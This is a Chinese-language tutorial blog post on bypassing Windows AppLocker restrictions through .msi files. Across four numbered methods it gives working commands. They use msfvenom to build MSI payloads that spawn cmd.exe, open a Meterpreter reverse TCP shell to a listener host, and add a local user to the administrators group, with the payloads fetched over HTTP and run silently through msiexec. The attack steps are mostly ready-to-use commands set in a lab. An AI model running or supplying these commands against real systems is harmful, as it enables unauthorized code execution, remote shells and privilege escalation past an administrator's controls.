0x00 前言
在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们。但今天您将学习如何绕过AppLocker策略。在本文中,我们使用Windows AppLocker策略阻止了“cmd.exe”文件,并尝试绕过此限制以获得命令提示。
0x01 Applocker适用的关联文件格式
Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用。在这种情况下,管理员可以限制以下程序的执行:
![](https://i-blog.csdnimg.cn/blog_migrate/4f756389f9029fb73e627c7561f3c3f8.png)
这完全取决于系统管理员,为程序限制或执行设置AppLocker策略的程序或脚本。可能会出现命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm等被阻止的情况
![](https://i-blog.csdnimg.cn/blog_migrate/a567255c3af98e57dd27d1863f831771.png)
0x02 挑战1:使用.msi文件绕过Applocker获取CMD
假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。
那么,您将如何使用一个msi文件来绕过这些限制并获得一个完整的权限shell呢?
1.关于MSI文件的更多信息
MSI名称来自程序的原始标题Microsoft Installer。从那以后,名称改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装程序包中包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个.msi文件,其中包含安装数据库、摘要信息流和安装不同部分的数据流。
Windows Installer技术分为两部分,它们结合使用,包括客户端安装程序服务(msiexec.exe)和Microsoft软件安装(msi)包文件。Windows Installer使用包文件中包含的信息安装该程序。
msiexec.exe程序是Windows Installer的组件。当安装程序调用它时,msiexec.exe使用msi.dll读取包(.msi)文件,应用任何转换(.mst)文件,并合并安装程序提供的命令行选项。安装程序执行所有与安装相关的任务,包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式以及显示对话框,以便在必要时提示用户安装首选项。
在计算机上安装Windows Installer时,它会更改.msi文件的已注册文件类型,以便在双击.msi文件时,Msiexec.exe将与该文件一起运行。
每个MSI包文件都包含一个关系型数据库,该数据库存储在许多安装脚步中安装(和删除)程序所需的指令和数据。
2.获取CMD的多种方法
(1).第一种方法:使用msfvenom生成恶意.msi文件
现在,让我们在kali机器中打开一个新的终端,并生成一个恶意的msi包文件作为cmd.msi,通过使用windows/exec 执行exploit获得命令提示,如下所示:msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80
现在在Windows计算机中传输cmd.msi文件,以获得命令提示符shell作为管理员。这里我们使用了python http服务器来共享网络中的文件。
![](https://i-blog.csdnimg.cn/blog_migrate/d80c6c3731e408afdff9d07fcfc99d1f.png)
在本地计算机上下载.msi文件后,可以使用以下语法在命令提示符下运行带有msiexec.exe的msi文件。
语法:msiexec /quiet /i
msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi
![](https://i-blog.csdnimg.cn/blog_migrate/6ecc74bc3bec82313937db5f42476226.png)
只要你在运行提示符中点击上述命令,就会得到命令提示符。
![](https://i-blog.csdnimg.cn/blog_migrate/8883736a973b23a361a0452ee1b373a6.png)
(2).第二种方法:使用msfvenom生成恶意.msi文件
注意:即使您在另一个扩展名中重命名cmd.msi文件,它也会绕过该规则。
重复以上步骤,生成一个与msfvenom具有相同payload、并命名为cmd.png的msi文件。因为我的kali中已经有了一个cmd.msi文件,所以我将它重命名为cmd.png,并使用python服务器来传输它
![](https://i-blog.csdnimg.cn/blog_migrate/6836e75c8a7001d8db65bed86910300e.png)
在本地计算机(管理员阻止cmd.exe的Windows操作系统)上下载cmd.png文件(实际上是.msi文件)后,就可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。
语法: msiexec /q /i
msiexec /q /i http://192.168.1.107/cmd.png
![](https://i-blog.csdnimg.cn/blog_migrate/2cea18d762961a6b2a6cdf735c1aceab.png)
只要你在运行提示符中点击上述命令,就会得到命令提示符。
![](https://i-blog.csdnimg.cn/blog_migrate/7daefecc7176939c80619e465032429b.png)
(3).第三种方法:使用msfvenom生成恶意.msi文件
在上述方法中,我们通过使用windows/exec payload获得命令提示符,但现在我们将使用windows/meterpreter/reverse_tcp payload通过meterpreter会话获得完全权限的命令shell。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi
现在再次在Windows计算机中传输shell.msi文件,以获得命令提示符shell作为管理员并启动multi/handler。这里我们使用了python http服务器来共享网络中的文件。
![](https://i-blog.csdnimg.cn/blog_migrate/2fab45b232d4731e0a836b4ee207ef89.png)
在本地计算机上下载了shell.msi文件(管理员阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。
语法: msiexec /q /i
msiexec /q /i http://192.168.1.107/shell.msi
![](https://i-blog.csdnimg.cn/blog_migrate/309aea6ff6fe4d83d4f041b24f4d57bd.png)
只要您在运行提示符中点击上述命令,您将通过使用此payload的meterpreter会话获得命令提示。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell
![](https://i-blog.csdnimg.cn/blog_migrate/9d2ef11d0a2655b4111e098cbb5787fc.png)
0x03 挑战2:使管理员组的本地用户成员
假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。
那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?
注意:该aaru是本地用户帐户,不是非管理员用户帐户,如下所示:
![](https://i-blog.csdnimg.cn/blog_migrate/e55ae687f3854c8dc6845e53973bd6a7.png)
我们知道由于applocker执行规则策略,cmd.exe在本地计算机上被阻止,因此我们无法使用命令提示符在管理员组中添加aaru。
![](https://i-blog.csdnimg.cn/blog_migrate/b6e7558650f8d87ecbf01ee681961df9.png)
(1).第四种方法:使用msfvenom生成恶意.msi文件
使用Windows/Exec payload生成MSI包作为admin.msi,该payload发送一条命令,指示将用户aaru的本地管理员权限添加到目标计算机中。
msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi
现在,在Windows计算机中传输admin.msi文件以将aaru添加到管理员组中。这里我们使用了python http服务器来共享网络中的文件。
![](https://i-blog.csdnimg.cn/blog_migrate/b11f158fe4e7d0adef15aa2a0537145f.png)
下载完本地计算机的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内运行带有msiexec.exe的admin.msi文件
语法:msiexec /q /i
msiexec /q /i http://192.168.1.107/admin.msi
![](https://i-blog.csdnimg.cn/blog_migrate/f12f25ea93769103da64c3e63680990e.png)
只要您在运行提示符中点击上述命令,就可以确保aaru用户已成为管理员帐户的一部分。
![](https://i-blog.csdnimg.cn/blog_migrate/bd917b263baa7ce25f738b40325d6235.png)
本文中我们将了解到,如何使用.msi文件来绕过操作系统策略限制而执行,在该系统中,cmd.exe和其他应用程序被管理员阻止。
参考文献:
https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/